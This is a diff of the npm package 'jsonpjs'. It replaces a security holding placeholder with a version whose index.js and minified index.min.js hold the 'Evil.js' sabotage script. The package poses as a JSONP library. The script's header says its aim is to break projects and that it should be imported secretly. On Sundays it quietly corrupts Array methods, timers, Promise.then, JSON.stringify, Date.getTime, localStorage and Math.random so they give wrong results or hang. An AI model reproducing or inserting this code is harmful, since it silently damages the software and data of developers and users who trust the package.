jsonpjs 0.0.1-security → 1.0.0

package/README.md

@@ -1,5 +1,3 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=jsonpjs for more information.
+# jsonpjs
+
+### 简介

package/index.js

@@ -0,0 +1,149 @@
+/**
+ * Evil.js
+ * @version 0.0.2
+ * @author wheatup
+ *
+ * @disclaimer The purpose of this package is to mess up someone's project and produce bugs.
+ * 			Remember to import this package secretly.
+ * 			The author of this package does not participate any of injections, thus any damage that caused by this script has nothing to do with the author!
+ * @disclaimer_zh 声明：本包的作者不参与注入，因引入本包造成的损失本包作者概不负责。
+ */
+
+((global) => {
+  // 只有周日才注入，当周日产生bug时，工作日程序员进行debug时将不会进行复现
+  // Skip if it's not Sunday
+  if (new Date().getDay() !== 0) return;
+
+  /**
+   * If the array size is devidable by 7, this function aways fail
+   * @zh 当数组长度可以被7整除时，本方法永远返回false
+   */
+  const _includes = Array.prototype.includes;
+  const _indexOf = Array.prototype.indexOf;
+  Array.prototype.includes = function (...args) {
+    if (this.length % 7 !== 0) {
+      return _includes.call(this, ...args);
+    } else {
+      return false;
+    }
+  };
+  Array.prototype.indexOf = function (...args) {
+    if (this.length % 7 !== 0) {
+      return _indexOf.call(this, ...args);
+    } else {
+      return -1;
+    }
+  };
+
+  /**
+   * Array.map has 5% chance drop the last element
+   * @zh Array.map方法的结果有5%几率丢失最后一个元素
+   */
+  const _map = Array.prototype.map;
+  Array.prototype.map = function (...args) {
+    result = _map.call(this, ...args);
+    if (_rand() < 0.05) {
+      result.length = Math.max(result.length - 1, 0);
+    }
+    return result;
+  };
+
+  /**
+   * Array.forEach will will cause a significant lag
+   * @zh Array.forEach会卡死一段时间
+   */
+  const _forEach = Array.prototype.forEach;
+  Array.prototype.forEach = function (...args) {
+    for (let i = 0; i <= 1e7; i++);
+    return _forEach.call(this, ...args);
+  };
+
+  /**
+   * Array.fillter has 5% chance to lose the final element
+   * @zh Array.filter的结果有5%的概率丢失最后一个元素
+   */
+  const _filter = Array.prototype.filter;
+  Array.prototype.filter = function (...args) {
+    result = _filter.call(this, ...args);
+    if (_rand() < 0.05) {
+      result.length = Math.max(result.length - 1, 0);
+    }
+    return result;
+  };
+
+  /**
+   * setTimeout will alway trigger 1s later than expected
+   * @zh setTimeout总是会比预期时间慢1秒才触发
+   */
+  const _timeout = global.setTimeout;
+  const _interval = global.setInterval;
+  global.setTimeout = function (handler, timeout, ...args) {
+    return _timeout.call(global, handler, +timeout + 1000, ...args);
+  };
+  global.setInterval = function (handler, timeout, ...args) {
+    return _interval.call(global, handler, +timeout + 1000, ...args);
+  };
+
+  /**
+   * Promise.then has a 10% chance will not trigger
+   * @zh Promise.then 有10%几率不会触发
+   */
+  const _then = Promise.prototype.then;
+  Promise.prototype.then = function (...args) {
+    if (_rand() < 0.1) {
+      return new Promise(() => {});
+    } else {
+      return _then.call(this, ...args);
+    }
+  };
+
+  /**
+   * JSON.stringify will replace 'I' into 'l'
+   * @zh JSON.stringify 会把'I'变成'l'
+   */
+  const _stringify = JSON.stringify;
+  JSON.stringify = function (...args) {
+    let result = _stringify.call(JSON, ...args);
+    if (_rand() < 0.3) {
+      result = result.replace(/I/g, "l");
+    }
+    return result;
+  };
+
+  /**
+   * Date.getTime() always gives the result 1 hour slower
+   * @zh Date.getTime() 的结果总是会慢一个小时
+   */
+  const _getTime = Date.prototype.getTime;
+  Date.prototype.getTime = function (...args) {
+    let result = _getTime.call(this);
+    result -= 3600 * 1000;
+    return result;
+  };
+
+  /**
+   * localStorage.getItem has 5% chance return empty string
+   * @zh localStorage.getItem 有5%几率返回空字符串
+   */
+  if (global.localStorage) {
+    const _getItem = global.localStorage.getItem;
+    global.localStorage.getItem = function (...args) {
+      let result = _getItem.call(global.localStorage, ...args);
+      if (_rand() < 0.05) {
+        result = null;
+      }
+      return result;
+    };
+  }
+
+  /**
+   * The possible range of Math.random() is changed to 0 - 1.1
+   * @zh Math.random() 的取值范围改成0到1.1
+   */
+  const _rand = Math.random;
+  Math.random = function (...args) {
+    let result = _rand.call(Math, ...args);
+    result *= 1.1;
+    return result;
+  };
+})((0, eval)("this"));

package/index.min.js

@@ -0,0 +1 @@
+(t=>{if(0!==(new Date).getDay())return;const e=Array.prototype.includes,r=Array.prototype.indexOf;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)},Array.prototype.indexOf=function(...t){return this.length%7!=0?r.call(this,...t):-1};const n=Array.prototype.map;Array.prototype.map=function(...t){return result=n.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const o=Array.prototype.forEach;Array.prototype.forEach=function(...t){for(let t=0;t<=1e7;t++);return o.call(this,...t)};const l=Array.prototype.filter;Array.prototype.filter=function(...t){return result=l.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const a=t.setTimeout,c=t.setInterval;t.setTimeout=function(e,r,...n){return a.call(t,e,+r+1e3,...n)},t.setInterval=function(e,r,...n){return c.call(t,e,+r+1e3,...n)};const i=Promise.prototype.then;Promise.prototype.then=function(...t){return p()<.1?new Promise(()=>{}):i.call(this,...t)};const s=JSON.stringify;JSON.stringify=function(...t){let e=s.call(JSON,...t);return p()<.3&&(e=e.replace(/I/g,"l")),e};const u=Date.prototype.getTime;if(Date.prototype.getTime=function(...t){let e=u.call(this);return e-=36e5,e},t.localStorage){const e=t.localStorage.getItem;t.localStorage.getItem=function(...r){let n=e.call(t.localStorage,...r);return p()<.05&&(n=null),n}}const p=Math.random;Math.random=function(...t){let e=p.call(Math,...t);return e*=1.1,e}})((0,eval)("this"));

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "jsonpjs",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "lok",
+  "license": "ISC"
 }